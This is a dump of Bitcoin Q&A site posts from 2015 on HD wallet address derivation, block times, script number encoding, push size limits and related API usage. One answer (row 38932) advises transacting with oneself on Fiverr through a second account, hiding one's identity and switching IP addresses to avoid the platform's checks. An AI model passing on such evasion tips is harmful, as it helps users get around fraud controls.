  <row Id="38917" PostTypeId="2" ParentId="38906" CreationDate="2015-08-01T14:43:28.727" Score="1" Body="&lt;p&gt;You can get most of the nxt objects using NRS.sendRequest(&quot;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code gets the asset object of whats in question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NRS.sendRequest(&quot;getAsset&quot;, {&quot;asset&quot;: asset}, function(response) { //do stuff with response}, false)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NRS.sendRequest(&quot;getAsset&quot;, {   &#xA;  &quot;asset&quot;: &amp;lt;*Your Asset ID here*&amp;gt;&#xA;}, function(response) {         &#xA;  if (response &amp;amp;&amp;amp; response.asset) {&#xA;    console.log(response);        &#xA;  }, false                          &#xA;});                             &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would get the following response from chrome's console log like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://prntscr.com/7zm5fh&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://prntscr.com/7zm5fh&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lrwQV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lrwQV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="3029" LastEditDate="2015-08-01T16:09:59.270" LastActivityDate="2015-08-01T16:09:59.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38918" PostTypeId="1" AcceptedAnswerId="38926" CreationDate="2015-08-01T17:40:57.530" Score="5" ViewCount="1839" Body="&lt;p&gt;In my case a store owner has different POS terminals. On none of the terminals should be a private key stored! The owner has one wallet, where he wants to get all transactions aggregated, done on the POS terminals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to my reasearch I came up with 2 possibilities:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Stealth addresses (BIP 63), which to my knowledge is not implemented anywhere in a library, so that I could use it easily.&lt;/li&gt;&#xA;&lt;li&gt;Master Public Key: E.g. the electrum wallet gives you an MPK by which one could derive addresses (through HD Derivation).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now to my questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is there any other approach one could generate addresses without a private key available?&lt;/li&gt;&#xA;&lt;li&gt;Are there any problems one could face with the MPK derivation approach?&lt;/li&gt;&#xA;&lt;li&gt;Which wallets expose the MPK and furthermore which wallets get a notice of transactions done to addresses derived outside of their knowledge (however from the seed they know)? &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="27733" LastActivityDate="2015-08-02T01:21:29.887" Title="Generate addresses without private key: Stealth addresses vs Master Public Key" Tags="|electrum|public-key|address-generation|bip32-hd-wallets|stealth-address|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="38919" PostTypeId="2" ParentId="38915" CreationDate="2015-08-01T18:12:12.357" Score="1" Body="&lt;p&gt;If faster computers had started producing blocks at higher rate the algorithm would just increase block difficulty. It is intentionally designed to give next block (and therefore next confirmation) at average once per ten minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it does not mean the money needs an hour to be transferred. The transaction is emitted immediately and the fact of sending money may be detected by receiver in seconds. Confirmations are required just to make sure the transaction is irreversible for the sender. And there are payment processors (like Coinbase) which accept payment just after the transaction is detected (i.e. without waiting for confirmation). Of course it is not suitable method for high value transactions (or if service is highly abused for some reason), but it does work (as making double spend requires some knowledge).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand if you need payments confirmed in shorter time you can use other cryptocurrencies. For instance DogeCoin block time is one minute (and after 10 minutes you have 10 confirmations making the transaction quite irreversible). There are also some altcoins with shorter times (e.g. 40 seconds for FlorinCoin) but they are not as popular as BTC or DOGE.&lt;/p&gt;&#xA;" OwnerUserId="18403" LastActivityDate="2015-08-01T18:12:12.357" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38920" PostTypeId="2" ParentId="38891" CreationDate="2015-08-01T18:20:31.950" Score="-1" Body="&lt;p&gt;It could be a problem with the Multibit app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you export before the private keys ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, You may import your keys at blockchain.info (just paste the .key data to import form)&lt;/p&gt;&#xA;" OwnerUserId="27734" LastActivityDate="2015-08-01T18:20:31.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38922" PostTypeId="1" AcceptedAnswerId="38925" CreationDate="2015-08-01T23:45:29.447" Score="0" ViewCount="246" Body="&lt;p&gt;I am developing a online game that requires a realistic economy and currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can create a new crypto coin currency with out much effort.  What I am unclear on, is it possible for me to mine all the possible coins of my currency, and then distribute them as I see fit within that game environment? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My aim is to spare myself the effort of creating elaborate wallet and asset management systems in the game.&lt;/p&gt;&#xA;" OwnerUserId="27739" LastActivityDate="2015-08-02T00:29:30.963" Title="Can a cryptocurrency exist in a closed system?" Tags="|currencies|economic-theory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38923" PostTypeId="2" ParentId="37289" CreationDate="2015-08-01T23:47:25.250" Score="2" Body="&lt;p&gt;About EC double and addition, scalar multiplcation, from a graphical ans easy point of view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Addition 2 points: P+R = Q &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Draw a line crossing these 2 points, -Q is the 3rd point crossed by the curve. Mathematically, any line crossed EC 3 times. (If P!=0, R!=0 and P!=+/-R)&#xA;You don't have one point, but 2 when you perform an addition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Double a point: 2*P = Q&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a special case of the previous (R=P)&#xA;Draw a tangent line from P and you -Q is the second point of the line crossed by the line. Mathematically, any tangent line crossed EC once. (If P!=0)&#xA;You can also view that as two very close points: the common crossing line (the addition line) will become the tangent as the points come closer and closer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multiply a point by a scalar:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Combine addition and doubling, basic method is given by Rosenfeld's answer. There are a lot of methods with lot of variants to speed it up (NonAdjacent, Montgomery ladder, 3-basis with negative, sliding window,...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Private key and public key:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each curve has its own parameter and &quot;G&quot; is one parameter and can be see as the &quot;unit&quot; or the scale (like 1 in integer number).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We just use the discret logarithm problem from EC: k*G=R&lt;/p&gt;&#xA;&#xA;&lt;p&gt;k is private, R is public. R can be computed easily from k with the explanation above. But it is nearly impossible to compute or guess k from R.&#xA;In Bitoin, the address &quot;1xyz&quot; is a base58 encoded of a hash derived from R.&#xA;Something like : base58( hash( encodedR ) ) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then we use further algorithm to sign and verify. Mostly ECDSA. To make a signature you need k. To verify you need R.&#xA;Sometimes for text message in the bitcoin world, R is recovered from the signature, and hash(R) is compared to the address provided (must match).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should help you:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/N5e4s.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/N5e4s.png&quot; alt=&quot;EC computation&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27712" LastActivityDate="2015-08-01T23:47:25.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38924" PostTypeId="1" CreationDate="2015-08-02T00:06:51.643" Score="2" ViewCount="1736" Body="&lt;p&gt;I want to buy some ripples (xrp) and hold them offline ( I want to keep the secret key with myself rather than trusting some hosted websites). Are there any steps to do this? Is ripple trade account mandatory to hold xrp? Can I simply buy xrp in cryptsy.com using btc and transfer them to an address managed offline in my computer?&lt;/p&gt;&#xA;" OwnerUserId="11969" LastEditorUserId="2306" LastEditDate="2016-08-27T04:21:49.727" LastActivityDate="2018-02-16T18:04:56.170" Title="I want to buy some xrp and hold them offline" Tags="|ripple|ripple-client|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38925" PostTypeId="2" ParentId="38922" CreationDate="2015-08-02T00:29:30.963" Score="1" Body="&lt;p&gt;You could do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you're describing is typically called a 'premine.' Ripple launched this way, and distributed half of the money, and kept the other half for development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But from the sound of things, that's not really what you're looking for. For example, would you be okay with players transferring ingame currency in return for real money? Is it an important feature for players to be able to keep funds that aren't associated with any in-game account?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are various things you can do to prevent those sorts of things, but they largely defeat the point of using a cryptocurrency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using cryptocurrency probably won't save you any time, either. At a rough guess, implementing a Bitcoin-derived solution for tracking player balances will take roughly fifty times more development time than a centralized solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of creating a cryptocurrency, I suggest using a SQL table to track how much balance each player has. This is&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;faster,  &lt;/li&gt;&#xA;&lt;li&gt;simpler, and  &lt;/li&gt;&#xA;&lt;li&gt;allows easy central modification.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-08-02T00:29:30.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38926" PostTypeId="2" ParentId="38918" CreationDate="2015-08-02T01:21:29.887" Score="3" Body="&lt;p&gt;What Electrum describes as 'Master Public Keys' are more commonly know as 'extended public keys' and are an excellent way for a Point of Sale terminal to accept payment without being able to spend that payment.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there any other approach one could generate addresses without a private key available?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Well, there's always the approach of generating all of your addresses in advance. That has the advantage of simplicity. Other than that, I don't think there are any other approaches which work as well as BIP32.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Are there any problems one could face with the MPK derivation approach?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You mentioned that you have &lt;em&gt;multiple&lt;/em&gt; terminals, which means that you need to avoid using the same index with the same MPK , or you'll generate the same address. You can avoid this by either using different indexes, or different MPK's.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Which wallets expose the MPK and furthermore which wallets get a notice of transactions done to addresses derived outside of their knowledge (however from the seed they know)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Electrum does this. It's called a 'gap limit.' It will check for transactions beyond the last address with a balance that it knows about. By default it only checks 5 extra addresses, but you can increase that. Having an adjustable gap limit is pretty common.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-08-02T01:21:29.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38927" PostTypeId="1" AcceptedAnswerId="38928" CreationDate="2015-08-02T05:00:20.167" Score="3" ViewCount="245" Body="&lt;p&gt;I'm trying Bitcoin for the first time, so I'm about 7 years behind. As far as I understand every bitcoin user has a copy of the entire transaction record that has happened for all time for all accounts. So, when I initially install Bitcoin Core which I am going to use for my wallet, it has to synchronize with a history that is already 7 years old. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to take a lot of time and as far as I know will only get worse as&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the number of users increases and&lt;/li&gt;&#xA;&lt;li&gt;time since the first transaction increases.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Are there any methods to mitigate this?&lt;/p&gt;&#xA;" OwnerUserId="27744" LastEditorUserId="3182" LastEditDate="2015-08-02T15:59:31.223" LastActivityDate="2015-08-02T15:59:31.223" Title="Can synchronization time be reduced?" Tags="|synchronization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38928" PostTypeId="2" ParentId="38927" CreationDate="2015-08-02T06:14:28.833" Score="5" Body="&lt;p&gt;No, this is a fundamental concept in Bitcoin. You must download and verify the entire history of the network in order to be sure that it is valid and untampered with. If your situation doesn't allow this it is possible to use SPV wallets which only do weak validation, sacrificing security and privacy for sync speed. &lt;a href=&quot;https://electrum.org/&quot;&gt;Electrum&lt;/a&gt; and &lt;a href=&quot;https://multibit.org/&quot;&gt;Multibit&lt;/a&gt; are examples of SPV wallets. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-08-02T06:14:28.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38929" PostTypeId="2" ParentId="38915" CreationDate="2015-08-02T09:31:20.443" Score="-1" Body="&lt;p&gt;There's no &lt;em&gt;inherent&lt;/em&gt; reason why it couldn't be done that way, but then there's no inherent reason why you couldn't charge an electric car wirelessly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The present time between blocks represents a compromise: set the block time too high, and you'll inconvenience users. Set it too low, and blocks take too long to propagate around the network, which means that nodes won't mine efficiently. The existing block time is probably too long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not so much that it &lt;em&gt;couldn't&lt;/em&gt; be done, it's just that there are a lot of stakeholders with a lot of different ideas about what the block interval should be, and this requires agreement from a lot of people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@Jakub Jagiełło discusses the mechanism that adjusts difficulty so that the actual block interval matches the target block interval, but the target block interval could be adjusted deliberately.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-08-02T09:31:20.443" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38930" PostTypeId="2" ParentId="38915" CreationDate="2015-08-02T11:10:28.620" Score="3" Body="&lt;p&gt;Blockchain technology, at least without accepting central party that controls access to the chain, inherently has slow blocks, or strong centralization incentives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason is that blocks need to propagate much faster than the block interval time. If they don't, miners who are further away from the majority of the hash power are put at a disadvantage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To explain this intuitively, notice that when miner A creates a block, he can start working immediately on a successor, while another miner B first needs to wait until A's block reaches him. During that time, B works on an outdated chain, and is unlikely to produce a block that ends up being accepted. The closer A and B are located together, and the more trust they have in eachother about not lying about new blocks they produce, the more they start to behave like a single party.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, the ratio of block interval and propagation speed across the network is a means for keeping the advantages of larger miner groups over smaller ones in check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does not mean that the bitcoin currency is inappropriate for fast payments. They just require another mechanism than on-blockchain transactions. For example, look at the proposed Lightning network, which allows many small transaction between parties to occur, while only settling the resulting balance on the blockchain. It requires more trust, but has higher performance and convenience, and lower costs.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-08-02T11:10:28.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38931" PostTypeId="1" CreationDate="2015-08-02T18:28:31.380" Score="1" ViewCount="775" Body="&lt;p&gt;I've lost my bitcoins when I reinstalled OS on my computer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still have my receiving address and the password I used to encrypt my Bitcoin Core Wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I recover the lost bitcoins? Does anyone know? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="27749" LastActivityDate="2023-10-11T23:09:41.727" Title="OS Windows Reinstalled, Bitcoin Core bitcoins lost, how do I recover them?" Tags="|bitcoin-core|lost-bitcoins|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="38932" PostTypeId="2" ParentId="12082" CreationDate="2015-08-02T18:30:35.090" Score="1" Body="&lt;p&gt;What might exist is a service that lets you pay for charges with Bitcoin and then the recipient gets to withdraw the proceeds of the sale using PayPal. So you would simply need to sell to yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I see that Fiverr accepts BItcoin for payment: &lt;a href=&quot;http://blog.fiverr.com/fiverr-now-accepting-bitcoins&quot; rel=&quot;nofollow&quot;&gt;http://blog.fiverr.com/fiverr-now-accepting-bitcoins&lt;/a&gt; and I believe they offer withdrawal via PayPal &lt;a href=&quot;http://www.youtube.com/watch?v=px_eYHCgGZ4&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=px_eYHCgGZ4&lt;/a&gt;. So you simply would create two accounts, list a task, and transact with yourself. Obviously the account for buying (and paying with Bitcoin) would need to be something that you wouldn't want associated with your real identity. Additionally, you probably want to do the listing with one IP address and the buying on another just in case they check for that kind of stuff.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2015-08-02T18:30:35.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38933" PostTypeId="2" ParentId="12082" CreationDate="2015-08-02T18:32:11.443" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://snapswap.us/#/paypal&quot; rel=&quot;nofollow&quot;&gt;http://snapswap.us/#/paypal&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'ld need to do BTC -&gt; XRP first though.  &lt;a href=&quot;http://Shapeshift.io&quot; rel=&quot;nofollow&quot;&gt;http://Shapeshift.io&lt;/a&gt; lets you do that.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2015-08-02T18:32:11.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38934" PostTypeId="1" CreationDate="2015-08-02T21:33:20.870" Score="1" ViewCount="820" Body="&lt;p&gt;On bitcoin wiki site I cant found this specification:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*The stacks hold byte vectors. When used as numbers, byte vectors are interpreted as little-endian variable-length integers with the most significant bit determining the sign of the integer. Thus 0x81 represents -1. 0x80 is another representation of zero (so called negative 0). Positive 0 is represented by a null-length vector. Byte vectors are interpreted as Booleans where False is represented by any representation of zero, and True is represented by any representation of non-zero. *&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Script&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But on bitcoins source code test scripts I have found this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[&quot;0x02 0x417a&quot;, &quot;'Az' EQUAL&quot;, &quot;P2SH,STRICTENC&quot;],&#xA;&#xA;[&quot;0x4b 0x417a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a&quot;,&#xA;&quot;'Azzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz' EQUAL&quot;, &quot;P2SH,STRICTENC&quot;, &quot;push 75 bytes&quot;],&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/test/data/script_valid.json#L26&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/src/test/data/script_valid.json#L26&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, as I understand this is test for script module of bitcoin core, and this few tests put numbers into stack, then put byte string into stack and process EQUAL opcode.&#xA; But in case if numbers should stored in stack as little endian variable int with sign bit (bitcoin wiki) number 0x417a is stored as b'zA' and not as 'Az'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Number 0x417a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a &lt;/p&gt;&#xA;&#xA;&lt;p&gt;will be&lt;/p&gt;&#xA;&#xA;&lt;p&gt;zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzA&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What type of numbers representation in stack we have to use?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;varint little endian with sign bit ? (bitcoin wiki)&lt;/li&gt;&#xA;&lt;li&gt;big endian ?&lt;/li&gt;&#xA;&lt;li&gt;4 byte big endian ? (found on bitcoin source codes class CScriptNum github.com/bitcoin/bitcoin/blob/master/src/script/script.h#L187)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Where I can read exactly specification ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="15358" LastEditorUserId="2306" LastEditDate="2015-08-02T21:36:56.390" LastActivityDate="2015-08-02T21:36:56.390" Title="Bitcoin script stack numbers format" Tags="|script|specification|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="38935" PostTypeId="1" CreationDate="2015-08-03T04:20:21.073" Score="0" ViewCount="70" Body="&lt;p&gt;I want to capture just one part of what Getrawtransaction returns, but it returns an array within an array that i can't seem to process.&lt;/p&gt;&#xA;&lt;p&gt;I.e when&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;$txid =&#xA;'4f52e7769fe23059a4f0fa2b66ca0ba9595812654b90cc0526ddb9703a3e1b33';&lt;/p&gt;&#xA;&lt;p&gt;$txidarray = ($rpc-&amp;gt;getrawtransaction($txid,1));&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;then I can grab the whole &amp;quot;vout&amp;quot; array element(s) with  :&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;print_r($txidarray[vout])&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;;&lt;/p&gt;&#xA;&lt;p&gt;i.e that returns :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; Array (&#xA;&amp;gt;     [0] =&amp;gt; Array&#xA;&amp;gt;         (&#xA;&amp;gt;             [value] =&amp;gt; 0.077&#xA;&amp;gt;             [n] =&amp;gt; 0&#xA;&amp;gt;             [scriptPubKey] =&amp;gt; Array&#xA;&amp;gt;                 (&#xA;&amp;gt;                     [asm] =&amp;gt; OP_DUP OP_HASH160 efe11230ccff2380c3115e2826098931bb76ccef OP_EQUALVERIFY OP_CHECKSIG&#xA;&amp;gt;                     [hex] =&amp;gt; 76a914efe11230ccff2380c3115e2826098931bb76ccef88ac&#xA;&amp;gt;                     [reqSigs] =&amp;gt; 1&#xA;&amp;gt;                     [type] =&amp;gt; pubkeyhash&#xA;&amp;gt;                     [addresses] =&amp;gt; Array&#xA;&amp;gt;                         (&#xA;&amp;gt;                             [0] =&amp;gt; 1NsN84QPXSXEdojiC482PnJUGNfx9XduQ6&#xA;&amp;gt;                         )&#xA;&amp;gt; &#xA;&amp;gt;                 )&#xA;&amp;gt; &#xA;&amp;gt;         )&#xA;&amp;gt; &#xA;&amp;gt;     [1] =&amp;gt; Array&#xA;&amp;gt;         (&#xA;&amp;gt;             [value] =&amp;gt; 0.02636684&#xA;&amp;gt;             [n] =&amp;gt; 1&#xA;&amp;gt;             [scriptPubKey] =&amp;gt; Array&#xA;&amp;gt;                 (&#xA;&amp;gt;                     [asm] =&amp;gt; OP_DUP OP_HASH160 ae57d86c288389e086eadf1bc50998d86ad2828a OP_EQUALVERIFY OP_CHECKSIG&#xA;&amp;gt;                     [hex] =&amp;gt; 76a914ae57d86c288389e086eadf1bc50998d86ad2828a88ac&#xA;&amp;gt;                     [reqSigs] =&amp;gt; 1&#xA;&amp;gt;                     [type] =&amp;gt; pubkeyhash&#xA;&amp;gt;                     [addresses] =&amp;gt; Array&#xA;&amp;gt;                         (&#xA;&amp;gt;                             [0] =&amp;gt; 1Gtqoz4tNTLYBR13AxypwsXupsevcy5QPq&#xA;&amp;gt;                         )&#xA;&amp;gt; &#xA;&amp;gt;                 )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But how can i grab ONLY  &amp;quot;1Gtqoz4tNTLYBR13AxypwsXupsevcy5QPq&amp;quot;  ???&lt;/p&gt;&#xA;&lt;p&gt;I just want to get that address from the getrawtransaction for an txid !!&lt;/p&gt;&#xA;&lt;p&gt;I tried :&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;print_r($txidarray[vout,0,scriptkey[0]);&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;but does not work, no clue as to what the correct syntax is !! anyone can help me ? many thanks !&lt;/p&gt;&#xA;" OwnerUserId="27433" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-08-03T07:04:56.667" Title="how to capture only one part of the getrawtransaction" Tags="|client|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38936" PostTypeId="2" ParentId="38935" CreationDate="2015-08-03T05:47:39.450" Score="1" Body="&lt;p&gt;Looks like you're indexing the array incorrectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print_r($txidarray[vout][1][scriptPubKey][addresses][0]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-08-03T05:47:39.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38937" PostTypeId="1" AcceptedAnswerId="38939" CreationDate="2015-08-03T06:15:23.870" Score="3" ViewCount="322" Body="&lt;p&gt;The current Bitcoin client filters out any pushes beyond a certain size.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static const unsigned int MAX_SCRIPT_ELEMENT_SIZE = 520; // bytes&#xA;[...]&#xA;if (vchPushValue.size() &amp;gt; MAX_SCRIPT_ELEMENT_SIZE)&#xA;    return set_error(serror, SCRIPT_ERR_PUSH_SIZE);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's the point of doing this? Does it prevent an attack?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How difficult would it be to change this? Would increasing this constant require a soft/hard fork?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-08-03T11:02:27.747" Title="What was the original rationale for limiting the maximum push size?" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38939" PostTypeId="2" ParentId="38937" CreationDate="2015-08-03T07:33:37.880" Score="5" Body="&lt;p&gt;This limit is long standing and unexplained, but it didn't always have that particular name. It was dubbed &lt;code&gt;MAX_SCRIPT_ELEMENT_SIZE&lt;/code&gt; in &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/192cc910ec7cade1d0dce7f3b111e7fc7720e607.patch&quot; rel=&quot;nofollow&quot;&gt;this commit&lt;/a&gt;, where previously it was just a magic number in &lt;code&gt;script.cpp&lt;/code&gt;. The restriction is found throughout the entire history from master until 0.3.22, but is missing from the 0.1.3 source. You could speculate that it was intended to be an anti-DoS restriction, but these releases retained &lt;code&gt;OP_CAT&lt;/code&gt; which would have allowed for nearly infinite sized stack elements regardless of the sizes of data pushes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 520 byte push size severely stunts Pay to Script Hash, as the entire script is pushed onto the stack it must respect the push limit. For a P2SH multisignature script this sets the upper limit to n-of-15, any larger and it would be unspendable due to 520 byte consensus rule. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Increasing this limit would be a hard forking change. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-08-03T11:02:27.747" LastActivityDate="2015-08-03T11:02:27.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
